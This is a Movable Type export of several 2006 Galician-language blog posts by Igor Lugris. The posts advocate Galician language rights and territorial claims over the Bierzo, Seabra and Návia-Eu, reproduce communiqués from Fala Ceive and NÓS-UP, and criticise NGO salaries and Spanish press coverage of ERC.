----- -------- AUTHOR: Lugris TITLE: Barbaridades do Reino de Leom... BASENAME: barbaridades_do_reino_de_leom DATE: Tue, 28 Nov 2006 13:56:06 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:Leo isto hoje no "Diário de Leom", que bem poderia chamar-se "Diário de psiquiatria"
"Sin abandonar los límites del despropósito, no puede resultar más paradójico que, en el presente año, se haya renovado el convenio suscrito, hace cinco años, entre la Xunta de Galicia y su homóloga de Castilla y León para promocionar, en el Bierzo y Sanabria, el empleo del gallego -variante, como es sabido, del leonés-."
Os leoneses sempre igual: pensam que para que a língua leonesa recupere a sua saude, a língua galega tem que estar moribunda. Sem palavras!
Mas é que o homem, o autor deste artigo, um tal José Antonio Fernández Llamas, é todo um especialista, um filólogo desses estupendos, que um pouco mais arriba, oferece toda umha magistral liçom de lingüística románica: "Por último, llamar la atención sobre palabras tales como «pardal» y «pega», propias de las actuales León, Zamora y Salamanca, que no son utilizadas en el resto de España, donde se prefiere»gorrión» (siendo lo anterior cierto, sí vienen recogidas en el diccionario. Por tanto, aportación del leonés al castellano)".
O que nom sei é como entom pode explicar que o e-Estraviz, diga:
"Pardal s. m. Zool. Ave passeriforme da família dos fringilídeos de cor escura que se domestica facilmente e tem um canto agradável. N. C. Acanthis cannabina."
"Pega3 s. f. (1) Zool. Ave da família dos corvídeos, de cor negra e branca o abdome, que se alimenta de insectos ou pássaros. N. C. Pica pica. Há diversas variedades de pegas: pega-carniceira, pega-carrachenta (o mesmo que pega-rabilonga). Pega-da-fraga, pega-da-montanha, pega-do-país (o mesmo que pega-marça. N. C. Garrulus glandarius). Pega-gaia, pega-marcha, pega-marça, pega-real, pega-reboldana, pega-rebordá: N. C. Garrulus glandarius. Pega-rabilã, pega-rabilonga, pega-rabuda, pega-raposeira, pega-porca, pega-preã, pega-sapeira: N. C. Pica pica. Pega-marinha: gavita. N. C. Haematopus ostralegus. Pega-fria: avefria. N. C. Vanellus vanellus. Pega-marta: azul monhuda. (2) pop. Mulher mal vestida. (3) Castanha cozida com casca [lat. pica]".
Mágoa que nom abundem entre os e as defensoras do leonês as pessoas com as que se poda falar e razonar. Algum trabalho é que se poderia fazer conjuntamente, mas com esta tropa...
----- COMMENT: AUTHOR: aclaração [Visitante] DATE: Wed, 29 Nov 2006 11:59:49 +0000 URL:home… no resto não, mas tem razão em pega e pardal ser palavras asturo-leonesas (não sei se no de “não usadas no resto da Espanha ;)), o qual não quita que sejam também galegas:
pega, la 1.
Pica pica, urraca [Llg, Mo (LLAA 27). Ri. Cn (F). Noval]. Urraca [Lln. Rs. Cl. Os. Pa. Cb. Xx. Cp. Cñ. Ac. Bi. Llv. Sb. Ca (Metáfora). Ay. Ar (= pigarcia = pegaratu). Sd. Qu. Sm. Md. As. Cn (MG). An. Gr. Pr. Mn. Sl. Vd. Tox. /Eo. Mánt/. R. Tor. Mar. VCid]. Pica caudata, urraca [Oc]. 2. Molino de papel de los niños [Cb]. Instrumento de madera y de lata que se fija a un árbol y que gira con el viento haciendo ruido que espanta a los pájaros de los sembrados [Cb].
pardal, el.
(pardial [AGO]. pardeal [ByM].)
1. Carduelis cannabina [Llg (LLAA 27)]. Passer domesticus [Llg (LLAA 27)]. Pájaro gris verdáceo [Tb]. Pájaro de colores grises y averdosados [Qu]. Clase de pájaro [Pzu]. Gorrión [Ca. R. Tor. Mar. VCid]. Pájaro parecido al verderón, de color gris pardusco [Tox]. Pájaro grisáceo [Arm]. 2. {Individuo} astuto, que no es de fiar [Ca], taimado, ladino [ByM]. Persona poco recomendable [Ca. /Eo/]: ¡Vaya pardal qu?estás fechu! [Ca]. {Personaje} bellaco, tunante [AGO].
[do Diccionario General de la Lengua Asturiana (http://mas.lne.es/diccionario/)]
A mim pessoalmente o que me encanta, é o de que o leonês usa o artigo “a". Este homem sim que vai revolucionar a linguística! :D
----- -------- AUTHOR: Lugris TITLE: Magusto na Malhadina BASENAME: magusto_na_malhadina DATE: Wed, 25 Oct 2006 21:36:29 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Este Sábado, a partir das 19'00h., a Associçom de Vizinhas e Vizinhos da Malhadina-Campabranca de Cabanas Raras, celebraremos o nosso II Magusto: castanhas, chouriço, vinho, queimada,... e por suposto, festa! Muita festa!
Já sabedes. Se estades polo Bierzo, vinde ao nosso Magusto!
Mais umha vez, Fala Ceive tem que sair à rua, para denunciar um novo obstáculo no caminho, no longo caminho, de dignificaçom, e normalizaçom da língua e cultura galegas no Bierzo. Para além das campanhas publicitárias organizadas por um governo da "Xunta" da Comunidade Autónoma Galega que é incapaz de aplicar os seus próprios planos, leis e acordos; para além das declaraçons de intençons e promesas dumha "Junta" da Comunidade Autónoma de Castela e Leom que nom som mais que palavras vazias e sem compromiso; para alem das leis que supostamente defendem os direitos das pessoas galego-falantes do Bierzo; para além de tudo isso, está a realidade. E a realidade é que todo tipo de entraves e obstáculos som postos no proceso de normalizaçom lingüística. Neste caso, nos centros de ensino, onde a atitude de certos profesores, funcionários e direcçons de centros, junto com o desleixo (quando nom com a clara colaboraçom no boicote) dos responsáveis políticos, fai com que as promesas fiquem em papel molhado.
O Bierzo sigue a precisar da tua ajuda e colaboraçom. A luita galeguista no Bierzo sigue a precisar de toda a solidariedade e apoios que poda conseguir. Ajuda-nos na difusom desta denúncia por todos os meios possíveis.
A OBSTACULIZAÇOM DO ENSINO DA LÍNGUA GALEGA EM SECUNDÁRIA CONTINÚA
A Associaçom Cultural Fala Ceive do Bierzo denuncia novamente os impedimentos que se ponhem ao ensino da língua galega em secundária. Famílias do Bierzo, afectadas por estes impedimentos no processo de aprendizado da nossa língua, dirigirom-se a Fala Ceive para nos informar dos obstáculos que persistem em certos centros de ensino para exercer, tal e como é o seu direito, esta opçom.
Segum nos indicam as maes, os paes e o alunado interesados polo ensino da língua galega em dous liceus de Ponferrada (em concreto, o ?Virgem da Azinheira? e o ?Europa?), houvo diversos problemas e irregularidades à hora de optar voluntariamente por aulas da nossa língua. Assim, no liceu ?Virgem da Azinheira?, a pesar de haver demanda da matéria deste idioma entre o seu alunado, ao começo do curso 2006-2007, os problemas derivados da distribuiçom do horário lectivo do profesor de língua galega asignado (com coincidência de aulas em vários centros do Bierzo), impossibilitou finalmente que o alunado deste centro pudera exercer o seu direito educativo. A internveçom da Direcçom Provincial de Educaçom de Leom tem sido lamentável, pois finalmente foi incapaz de resolver com eficácia este pequeno probema. Finalmente, mais umha vez o prejudicado e o alunado que aguardava com ilusom se iniciara a oferta da matéria de língua galega no seu centro.
Por outra banda, também temos recebido queixas de alguns membros da comunidade escolar do instituto ?Europa?, ao respeito das irregularidades registadas no procedimento administrativo para solicitar as aular de galego. A documentaçom oficial para a matrícula no citado centro nom incluia nengumha referência escrita para as pessoas que desejavam optar polo ensino da nossa língua durante o curso 06-07. Ante esta clara irregularidade administrativa, os paes, as maes e o alunado em geral tiverom que acodir à secretaria do dito centro para dar a cara ?in situ?, e declarar a sua vontade de optar polo ensino da língua galega em algum dos correspondentes cursos de secundária. Nom resulta lógico que os membros da comunidade escolar deste instituto tenham que se dirigir em pessoa à secretaria para fazer manifesta declaraçom verbal da opçom polo ensino da língua galega. O justo seria que na própria documentaçom da matrícula figurara expresamente a possibilidade de optar polo ensino do idioma galego, e assim ficara constáncia escrita da vontade dos afectados e das afectadas.
Vistas estas graves irregularidades, Fala Ceive dirige-se novamente ao Procurador do Comum de Castela e Leom para que inicie o correspondente expediente em relaçom com estas denúncias, e realice as investigaçons pertinentes com objecto de supervisar esta problemática. No caso do liceu ?Virgem da Azinheira?, pedimos que se ofertem aulas de galego neste curso 2006-2007 ao alunado que assim o tenha solicitado. Ao respeito do liceu ?Europa?, demandamos que o Procurador do Comum se dirija à ?Consejeria? de Educaçom e Cultura da Junta de Castela e Leom para que lhe solicite a elaboraçom de umha resoluçom que inclua a referência à obrigatoriedade de os centros educativos do Bierzo incluir na documentaçom oficial de matriculaçom umha clara referência à possibilidade de optar polo aprendizado da matéria de língua galega.
Ponferrada, 24 de Outubro de 2006.
----- COMMENT: AUTHOR: ocorral [Membro] DATE: Wed, 25 Oct 2006 12:27:20 +0000 URL:Bem…estou ao dispor de Fala Ceive. Que queres que faga?
Corral
----- -------- AUTHOR: Lugris TITLE: A Galiza irredenta também existe BASENAME: a_galiza_irredenta_tambem_existe DATE: Fri, 20 Oct 2006 06:33:45 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Hoje, Vieiros e o Galiza-Hoje, publicam o seguinte artigo, ao fio da polémica criada ao redor do mapa comarcal da Galiza publicado por NÓS-UP, e que recolhe o conjunto dos territórios da nossa naçom, e nom só o território da Comunidade Autónoma Galega.
Podedes ver também o artigo no Primeira Linha em Rede,(muito recomendável porque publicam a
"Carta Geométrica da Galiza", publicada em 1845 (um dos precedentes da proposta territorial para a Galiza apresentada por NÓS-UP em 2003), e no web de NÓS-UP.
Apoveito para recomendar encarecidamente a leitura do Dossier sobre a Galiza irredenta, que esta organizaçom disponibiliza hoje no seu web, e que foi publicado no número 12 da sua revista, o Voz Própria.
A Galiza irredenta também existe!
Igor Lugris
A defesa da galeguidade das terras situadas além dos limites geográficos que o Estado espanhol marcou para a Galiza, quando menos desde 1833 (ano da divisom administrativa provincial de Javier de Burgos, ainda em vigor, que supujo a partiçom quadriprovincial da Galiza, e a perda de territórios na faixa oriental da nossa naçom), é umha constante para o nacionalismo e o independentismo galego. Desde a Sociedade Nacionalista Pondal na Argentina e o conjunto dos arredistas galegos do exílio e a emigraçom, até a Geraçom NÓS, o Partido Galeguista, e o nacionalismo que se recompom depois do levantamento fascista de 1936, todas as correntes, passadas e presentes do nacionalismo e o independentismo, reivindicam, com maior ou menor ênfase, com mais ou menos força, a galeguidade das terras que hoje ficam fora da Comunidade Autónoma Galega, sob administraçom asturiana ou castelhano-leonesa. NÓS-Unidade Popular fai parte dessa tradiçom, recolhe-a, actualiza-a e tenta, sendo conseqüente e na medida das suas possibilidades, realizar um trabalho político que ponha na ordem do dia política a questom da territorialidade.
Que um periódico de Samora crie, artificialmente, umha polémica a partir do ?descubrimento? (tardio) do mapa da nossa Naçom elaborado por NÓS-UP, e desconheça os factos que venho de relatar, nom causa surpresa. Ao fim e ao cabo, o desconhecimento da História das Naçons que ainda hoje o Estado espanhol mantém abaixo da sua bota é o alicerce fundamental sobre o qual é construída a ?História de Espanha?. Causa surpresa é que meios de comunicaçom galegos recolham essa notícia, alimentem a polémica e dediquem páginas e minutos a partir de um profundo desconhecimento da História da Galiza.
Profundo desconhecimento que ignora, consciente ou inconscientemente, que ainda en 1821 existia umha proposta formal de incorporaçom definitiva do Berzo à Galiza; que a Carta Geográfica de Domigos Fontám, de 1834, inclui dentro da Galiza a faixa oriental galegófona dos territórios do Eu-Návia, Íbias, o Berzo, a Cabreira, e a Seabra; que o primeiro livro do Rexurdimento literário da Galiza, ?Ensayos poéticos?, foi escrito e publicado no Berzo, por António Fernández y Morales, lá por 1861, em que o autor recolhe a problemática da identidade lingüístico-cultural, mas também político-administrativa do Berzo; que o Anteprojecto de Estatuto de Autonomia elaborado polo Seminário de Estudos Galegos em 1931, assim como o Projecto de Estatuto que se aprova na Assembleia de Concelhos galegos decorrida em 1932 em Compostela, assim como o Estatuto definitivamente aprovado polo povo galego em 1936, recolhiam que se poderiam ?agregar à Galiza qualquer território limitrofe de características históricas, culturais, económicas e geográficas análogas, mediante os requisitos que as leis gerais estabelerecerem?.
Ainda mais grave é desconhecer que o Projecto de Estatuto elaborado em Abril de 1978, conhecido como o Estatuto dos 16, e no Projecto elaborado pola Assembleia de Parlamentares Galegos enviado às Cortes Espanholas, se incluía umha mençom exactamente igual à de 1936, que foi suprimida na Comissom Constitucional do Parlamento espanhol que aprovou a redacçom definitva do Estatuto de 1981 (parece ser que nesse sentido fôrom determinantes as pressons de diversos parlamentares leoneses, entre eles, especialmente, Rodolfo Martín Villa, conhecedor da galeguidade das terras do Berzo, e da evidente possibilidade de que vários concelhos da faixa oriental se acolhessem a esse preceito para pedirem a sua incorporaçom à Galiza). Ainda mais recentemente, poderíamos citar o caso de diversos concelhos e aldeias situadas fora dos limites da CAG, que ao longo dos últimos 30 anos tenhem declarado a sua intençom de solicitar a integraçom na Galiza (Enzinhedo, Truchas, a Ponte e Benuza em 1991, Oência em 1992, a Veiga de Valcarce em 2001, etc?) Para nom continuarmos a citar exemplos, concluamos por nomear o artigo assinado por 33 pessoas do Berzo, ?Tira por ela Galiza mas Castela nom a solta?, feito público em diversos meios de comunicaçom, tanto galegos como leoneses, em Outubro de 2005, e que defendia a legitimidade e justiça da opçom de reintegrar o Berzo na Galiza se umha maioria da populaçom assim o desejar; ou a existência de umha pequena força política no território do Návia-Eu, Alternativa Popular Eu-Naviega, que aposta polo estreitamento de relaçons entre esse território e a CAG a todos os níveis.
Em definitivo, este debate é umha constante ao longo da nossa história, da História da Naçom galega. Diversos traços definitórios, lingüísticos e culturais, mas também históricos, geográficos, económicos, sociológicos? fam com que os territórios do Eu-Návia, o Vale do Íbias, o Berzo, a Cabreira e a Seabra fagam parte dessa difusa Galiza irredenta que muitas pessoas, no aquém e além Eu e Zebreiro, queremos que faga parte, com todos os direitos, da Galiza. Essa é a nossa proposta. Convencermos a maioria dos e das nossas compatriotas, o nosso compromisso.
----- -------- AUTHOR: Lugris TITLE: Algumha história que compre nom esquecer... BASENAME: algumha_historia_que_compre_nom_esquecer DATE: Wed, 18 Oct 2006 22:32:01 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Só umhas poucas ligaçons para nom esquecer, para nom ter que todos os dias pedir perdom por existir. A Galiza existe, a Galiza irredenta também existe.
Denuncian que lles prohiban falar galego a escolares de Lubián
Fotos da Galiza irredenta mais combativa
O galego falase de "portas para dentro"
Urbano Ermida: um berziano n?A Fouce
NÓS-UP assume as petiçons de defesa da língua e cultura da Galiza irredenta
----- -------- AUTHOR: Lugris TITLE: De mapas e polémicas BASENAME: de_mapas_e_polemicas DATE: Wed, 18 Oct 2006 21:45:07 +0000 STATUS: publish PRIMARY CATEGORY: Estam tolos estes espanhois CATEGORY: Cousas por cá TAGS: ----- BODY:Nom sabia em que categoria publicar este comentário: em "cousas por aí", "cousas por cá" ou, sem mais, na de "estam tolos estes espanhois".
A polémica em torno do mapa da Galiza publicado por NÓS-UP há 3 anos, promete estender-se durante vários dias. Hoje nom tenho tempo mais que de recolher as notícias que forom aparecendo nos diversos meios, começando pola Opinion-El Correo de Zamora ("El mapa territorial aparece presidido por la palabra "Galiza", con letras blancas y mayúsculas, y junto a ella la insignia que representa a una rubia sirena, de dorados cabellos, ondeando al viento del océano Atlántico, sobre el cabo de San Adrián, sujetando en sus manos el escudo, de fondo azul, con una hoz de segador de cereal y dentro de su curva una estrella de color rojo. A su alrededor va la leyenda: «Denantes mortos que escravos». En cuanto a la bandera, esta es la similar, blanca con la franja azul cruzada, a la que se le añade la estrella roja de cinco puntas").
Estamos em polémica, mas compre reflexionar. E conhecer a história. Prova com esta ligaçom para saber um pouco mais: "Entrevista con FELIPE LUBIÁN, alcalde de Lubián e deputado do PSOE en Castela e León "Eu considérome galego".
Podedes ver mais informaçom, desinformaçom e mesmo deformaçom em El Correo Gallego, Galicia Hoxe, Vieiros, Informategratis, etc...
E por suposto, no web de NÓS-UP, onde publicam um muito esclarecedor comunicado ao respeito.
Perante a polémica fabricada em torno da reivindicaçom da unidade territorial da Galiza
Nos últimos dias, comprovamos até que ponto os meios podem fabricar informaçons sobre qualquer questom, no momento que interessar, segundo os fins que puderem convir em cada momento aos amos da informaçom publicada. Estamos convencid@s de que, queira ou nom a reacçom antidemocrática espanhola, a democracia é o futuro para o nosso povo. O mapa comarcal da Galiza que a nossa organizaçom editou é só mais um pequeno contributo no caminho de construçom nacional da Galiza? inteira.
Nos últimos dias, comprovamos até que ponto os meios podem fabricar informaçons sobre qualquer questom, no momento que interessar, segundo os fins que puderem convir em cada momento aos amos da informaçom publicada.
Assim, meios samoranos e galegos, incluídos jornais digitais e em papel, rádios e outros, publicárom numerosas informaçons relativas à suposta recente publicaçom pola nossa organizaçom de um mapa da Galiza que inclui os territórios galegos excluídos polo Estatuto de Autonomia actualmente em vigor. As mesmas notícias ?denunciavam? que alguns professores e professoras estám a utilizá-lo nas escolas da Galiza. Todo, é claro, num tom insultante para as posiçons nacionalistas galegas e com numerosas inexactitudes.
Sem grande esperança de que esses mesmos meios dem ocasiom à nossa réplica, expomos à opiniom pública galega as seguintes consideraçons:
1º. O mapa em questom foi, com efeito, editado por NÓS-Unidade Popular, mas nom agora, senom em 2003. Leva, portanto, três anos a ser pública e maciçamente distribuído entre entidades, instituiçons e pessoas interessadas. Devemos acrescentar a boa acolhida que tem tido, com umha distribuiçom efectiva de vários milhares de exemplares, também entre o professorado galego mais consciente e rigoroso, que sabe que o ensino da língua e da história da Galiza ultrapassa a visom quadriprovincial espanhola que hoje constitui a Comunidade Autónoma da Galiza.
2º. O mapa inclui, com efeito, as comarcas galegas além da comunidade autónoma: a Terra Návia-Eu e o Vale de Íbias (administrativamente pertencentes às Astúrias) e o Berzo, a Cabreira e a Seabra (administrativamente adscritas a Castela e Leom). Todos eles territórios tradicional, cultural e lingüisticamente galegos, para além das diversas circunstáncias administrativas que tenhem vivido ao longo da história.
3º. Longe de ser umha proposta alheia às referidas comarcas nem imposta a partir da Galiza administrativa, o mapa editado por NÓS-UP contou com colaboradores e colaboradoras desses territórios, sem cuja inestimável colaboraçom teria sido impossível a sua elaboraçom e publicaçom.
4º. Ao contrário, as instituiçons autonónimicas galegas evitam qualquer iniciativa em relaçom a essas comarcas, privadas do direito à língua e à identidade. A Administraçom autonómica actual continua, como a anterior do PP, presa da visom quadriprovincial espanhola em relaçom à nossa pátria.
5º. A desproporcionada reacçom de instituiçons e meios de comunicaçom castelhano-leoneses, mas também galegos, em relaçom às reivindicaçons relativas à integridade territorial da Galiza, só demonstram o medo à liberdade que sofrem as suas mentes reaccionárias, presas de um espanholismo doentio e essencialista, contrário por princípio a qualquer questionamento democrático do actual statu quo peninsular.
6º. Pola nossa parte, a esquerda independentista nom tem medo à liberdade, e por isso situamos na populaçom de Návia-Eu, Íbias, o Berzo a Cabreira e a Seabra a capacidade de decidir sobre o seu futuro. A nossa organizaçom representa, como se sabe, umha proposta concreta: autodeterminaçom para toda a Galiza e defesa da opçom independentista e socialista como alternativa. Defendemos a construçom de um Estado soberano galego que inclua todas as comarcas galegas e nom só as da actual Comunidade Autónoma; que restitua os direitos lingüísticos, nacionais e sociais de género a todo o nosso povo, e nom só a umha parte.
Estamos convencid@s de que, queira ou nom a reacçom antidemocrática espanhola, a democracia é o futuro para o nosso povo. O mapa comarcal da Galiza que a nossa organizaçom editou é só mais um pequeno contributo no caminho de construçom nacional da Galiza? inteira.
Permanente Nacional de NÓS-Unidade Popular
Galiza, 17 de Outubro de 2006
Na passada sexta-feira 13 de Outubro a Associaçom Cultural Fala Ceive enviou aos grupos do PSOE e do PP das Cortes (Parlamento autonómico) de Castela e Leom as suas propostas para a reforma do Estatuto de Autonomia da Comunidade Autónoma de Castela e Leom, em relaçom com um maior reconhecimento da língua galega.
No texto de Fala Ceive, realizam-se propostas concretas, que podem ser levadas adiante sem maiores problemas dentro do actual quadro jurídico-político, e que só precisam da vontade política dos partidos presentes as Cortes para sair adiante. Fala Ceive aposta claramente pola dignificaçom e promoçom da nossa língua e cultura no Bierzo e na Seabra, e para isso entende que a única possibilidade passa pola oficialidade da língua galega e polo seu reconhecimento nos textos legislativos autonómicos.
A seguir apresentamos o escrito remetido por Fala Ceive às Cortes de Castela e Leom, e que também foi enviado às instituiçons berzianas e aos meios de comunicaçom, onde encontrarom escaso eco.
PROPOSTA SOBRE O IDIOMA GALEGO
ANTE A REFORMA DO ESTATUTO DE AUTONOMIA DE CASTELA E LEOM
A Associaçom Cultural Fala Ceive do Bierzo apresenta à Comissom de Reforma do Estatuto de Autonomia de Castela e Leom este documento com as propostas relacionadas com um mayor reconhecimento legal do idioma galego. Neste sentido partimos de que esta idioma é próprio do Bierzo. Constata-se a sua presencia permanente nesta zona periférica desde a Idade Meia, daí a sua caracterizaçom lingüística como histórico e territorial. A pervivência secular deste idioma deve-se à firme vontade da comunidade galego-falante do Bierzo por manter a sua vitalidade lingüística até a actualidade. Por isso a classe política nom pode ignorar por mais tempo a necessidade de conceder valor jurídico à língua galega na sua utilizaçom ante as administraçons públicas desta Comunidade Autónoma.
1º Demandamos o reconhecimento de oficialidade para o idioma galego do Bierzo. Nom se pode tratar desigualmente aos berziamos galego-falantes respeito aos habitantes da Comunidade Autónoma da Galiza, onde este idioma é oficial. Nom declarar a oficialidade do galego supom manter a dicriminaçom jurídica, por tratar de forma diferente aos membros da mesma comunidade lingüística do noroeste peninsular. A vontade monolíngüe da clasee política regional e os limites administrativos interautonómicos nom podem obstaculizar por mais tempo a necessária normalizaçom idiomático no Bierzo. A declaraçom de oficialidade do galego favorecerá a progressiva igualaçom dos direitos lingüísticos dos falantes com este idioma próprio tanto de Castela e Leom como de Galiza.
2º O reconhecimento de oficialidade dumha língua minoritária do Estado, polo seu ámbito territorial e número populacional, como é o caso da galega de Castela e Leom, já tem os seus antecedentes. Assim acontece com o eusquera que posue carácter oficial na zona norte da Comunidade Foral de Navarra. Alem do mais, a última reforma do Estatuto de Autonomia de Catalunya (Lei Orgánica 6/2006, de 19 de Julho), declara o aranês de Aram ?a língua própria deste território e é oficial em Catalunya? (art. 6.5). Também se pretende a declaraçom de oficialidade do idioma catalam falado na Franja oriental de Aragom, na reforma do Estatuto desta comunidade autónoma, actualmente em tramitaçom parlamentária no Congresso. Neste projecto de Estatuto de Autonomia de Aragom, lemos que ?Umha Lei das Cortes de Aragom estabelecerá as zonas de uso predominantes das línguas e modalidades próprias de Aragom, regulará o regime jurídico, os direitos de utilizaçom dos falantes desses territórios, promoverá a protecçom, recuperaçom, ensino, promoçom e difussom do património lingüístico de Aragom, e favorecerá nas zonas de utilizaçom predominantes o uso das línguas próprias nas relaçons dos cidadaos nas Administraçons Públicas aragonesas (?)? (art. 8.2).
3º A declaraçom de oficialidade do idioma galego suporá iniciar a normalizaçom da sua utilizaçom jurídica nas administraçons locais do Bierzo (Conselho Comarcal, concelhos e ?pedanias?). A própria Lei de Bases do Regime Local regula o uso administrativo das línguas oficiais (art. 14.2), impedindo a utilizaçom normalizada do resto de línguas nom oficiais, caso do galego do Bierzo na actualidade. Disto deriva-e que o Regulamento de Organizaçom, Funcionamento e Regime Jurídico das Entidades Locais determine que ?as convocatórias das sessons, as ordes do dia, moçons, votos particulares, propostas de acordo e ditames das Comissons informativas se redigiram em língua castelá ou na língua oficial na Comunidade Autónoma à que pertenza a Entidade (?)? (art. 86.1). E o que resulta mais grave, que se impida denominar em galego os concelhos do Bierzo ocidental: ?a denominaçom dos concelhos terá de ser em língua castelá, respeitando-se as denominaçons existentes na entrada em vigor desta Lei, sem que poda ser coincidente ou produzir confussons com outras do território do Estado? (art. 24.1 da Lei de Regime Local de Castela e Leom).
4º Pretendemos o reconhecimento do direito à ensinanza do idioma galego no Bierzo. E isto só se pode lograr de maneira plena com a declaraçom de oficialidade desta língua no Estatuto de Autonomia. Assim, a oferta escolar deste idioma extenderá-se a todosos centros educativos do Bierzo ocidental, e se evitará que ainda existam colégios que nom permitam a aprendizagem desta língua ao alunado que assim o demanda.
5º As línguas reconhecidas no Estatuto de Autonomia devem ser objecto da mesma protecçom e apoio polas instituiçons culturais de Castela e Leom criadas a este fim. Lembremos que o artigo 4.1 do vigente Estatuto de Autonomia só declara este direito em referência à língua castelá. Isto provoca que o ?Instituto Castellano y Leonés de la Lengua? (con sede em Burgos), nom realice actividades a favor do galego, a pesar de ter também este idioma reconhecimento estatutário (art. 4.2), cousa que resulta totalmente injustificável.
6º A declaraçom de oficialidade do idioma galego támbém deve permitir o uso deste idioma ante as próprias Cortes de Castela e Leom e o Procurador do Comum. Desta forma, facilitaria-se a participaçom activa das cidadás e os cidadaos galego-falantes, tanto do Bierzo como da Alta Seabra, ante estas instituiçons.
7º O idioma galego do Bierzo tem que ter presência nos meios de comunicaçom de Castela e Leom (televissom, rádio, imprensa, internet,?). Esta nova política cultural extenderá-se à própria indústria cinematográfica e audiovisual, a promoçom de actividades artísticas e literárias, e à produçom de livros e publicaçons.
8º Básico também resulta que o Conselho Comarcal do Bierzo tenha reconhecida a capacidade de ?Iniciativa Legislativa? na futura reforma do Estatuto de Autonomia, para poder apresentar Proposiçons de Lei ante as Cortes de Castela e Leom. Direito que, por exemplo, já tenhem reconhecidas as comarcas na Catalunha. Desta forma o Conselho Berziano poderá propor actuaçons legislativas relacionadas com a protecçom e o fomento do idioma galego, e mais concretamente dos correspondentes direitos lingüísticos, individuais e colectivos, dos galego-falantes.
Ponferrada, octubre de 2006.
----- -------- AUTHOR: Lugris TITLE: Contra quê pobreza? BASENAME: contra_que_pobreza DATE: Mon, 16 Oct 2006 13:22:36 +0000 STATUS: publish PRIMARY CATEGORY: Stop hipocrisia! CATEGORY: TAGS: ----- BODY:Há vários dias escuitei na rádio umha notícia, na que se falava dum informe elaborado por um amplo grupos de ONG's (já sabedes, essas organizaçons que presumem do que nom som: dim que nom som governamentais, mas o 90% vivem do dinheiro que lhes dam os diferentes, diversos e variados governos e administraçons públicas). Neste caso, tratava-se do grupo das mais grandes ONG's do Estado espanhol (que nisto da "solidariedade" burguesa ainda há classes, e nom me vas comparar umha ONG séria e responsável com sedes em várias capitais de província e por suposto em Madrid e projectos e meio mundo ou mais, com umha ONG dessas que todo o que tenhem é um apartado de correios em algumha província perdida do mapa).
O informe em questom tratava das próprias ONG's: do tipo de pessoas que as conforma, das suas situaçons sócio-laborais, da situaçom sócio-laboral dos trabalhadores e liberados dessas ONG's, etc... Entre os dados a destacar: que mais do 60% dos membros som mulheres, mas que essa percentagem cai por baixo do 30% no referido às pessoas que ocupam os postos de direcçom e responsabilidade. Isto só já dá para mais de um comentário, e para fazer umha análise de que tipo de solidariedade practicam umhas entidades que reproduzem no seu seio as injustiças que dim combater.
Mas a questom que me interesa nom é hoje essa.
Lembrei-me da notícia ao escuitar também na rádio que hoje se celebra o dia contra a pobreza por parte da ONU, e várias ONG's falavam sobre o tema. Pois bem, em aquel informe, umha das cousas que destacavam negativamente os seus autores, eram os baixos salários das pessoas que trabalhavam para as ONG's. Mas nom se referiam aos salários das pessoas que desenvolviam projectos concretos em lugares determinados, nom: referiam-se aos salários das pessoas que trabalhavam no Estado espanhol nessas entidades, bem como secretárias, como directivos, ou como qualquer outro posto remunerado. Pois bem, o que eles consideravam "baixos salários", oscilavam, segum os seus dados, entre os vinte mil (20.000) e os trinta mil (30.000) euros anuais, que no caso dos postos directivos remunerados podiam chegar em alguns casos a mais de quarenta mil!!! (40.000) euros anuais!
É bem curioso que entidades supostamente solidárias, conhecedoras da realidade social, pensem que esses som salários baixos (saberam a quanto ascende actualmente o Salário Mínimo Interprofesional?). Mas o mais chamativo da questom é de onde tiraram tanto dinheiro as ONG para ter esses salários? Quanto do dinheiro que recaudam vai para os seus projectos e quanto para manter-se elas mesmas, para manter mastodónticas estruturas que se convirtem em verdadeiras empresas? Onde é que fica todo o suposto discurso dos voluntário entregado e abnegado que entrega o seu tempo e o seu trabalho desinteressadamente para melhorar o mundo?
No Estado espanhol, calcula-se que há nom menos de três milhons de pessoas que vivem por baixo dos índices da pobreza. Nengum deles, seguro, trabalha numha ONG.
----- -------- AUTHOR: Lugris TITLE: Democracia e partidos democráticos BASENAME: democracia_e_partidos_democraticos DATE: Mon, 16 Oct 2006 12:56:15 +0000 STATUS: publish PRIMARY CATEGORY: Stop hipocrisia! CATEGORY: TAGS: ----- BODY:Agora que começou a campanha eleitoral para as eleiçons autonómicas na Catalunha, andam, como sempre, os jornalistas alborotados, cagando sentências polas esquinas, e explicando-nos aos pobres mortais como é que o melhor que se pode passar é o que eles dim que se deve passar, e nom o que livremente os e as catalans podam decidir que se passe.
Hoje na rádio, na rádio progre espanhola por antonomásia, vários jornalistas e "expertos", explicavam como ERC é umha organizaçom que nom oferece garantias, porque nom é séria, nom é responsável. Em que se baseavam para dizer isto? Em que, no processo de reforma do Estatut da Catalunha, finalmente ERC defendeu nom o que umha parte da sua direcçom queria defender, mas o que as suas bases, quer dizer, a maioria, a imensa maioria da organizaçom, quixo defender.
Em que quedamos? Nom é que os partidos políticos, para ser legais, devem ser democráticos, respeitar a democracia, e toda essa lenga-lenga burguesa? Pois entom, como é que se pode criticar a um partido por fazer e defender o que maioritariamente as pessoas que fam parte desse partido decidem? É que obviar a opiniom dos e das membros dumha organizaçom, e fazer o que os dirigentes decidam, sem ouvir nem ter em conta as opinions dos e das suas filiadas pode ser considerado "democrático"?
Haverá, de facto há, muitas razons para criticar ERC, mas nom precisamente essa: criticar a sua democracia interna. Nom será, mais bem, que é que os outros partidos nom é que nom sejam sérios ou responsáveis, o que nom som é "democráticos"? Nom será que com as Leis na mao (as leis espanholas, as mesmas que eles mesmos promulgarom) haveria motivos para a sua ilegalizaçom, por nom terem um funcionamento interno democratico? Nom di a sacrosanta Constituiçom espanhola algumha cousa ao respeito? E a famosa Lei de Partidos políticos, também nom di nada sobre o necessário fucionamento democrático dos partidos para ser legais?
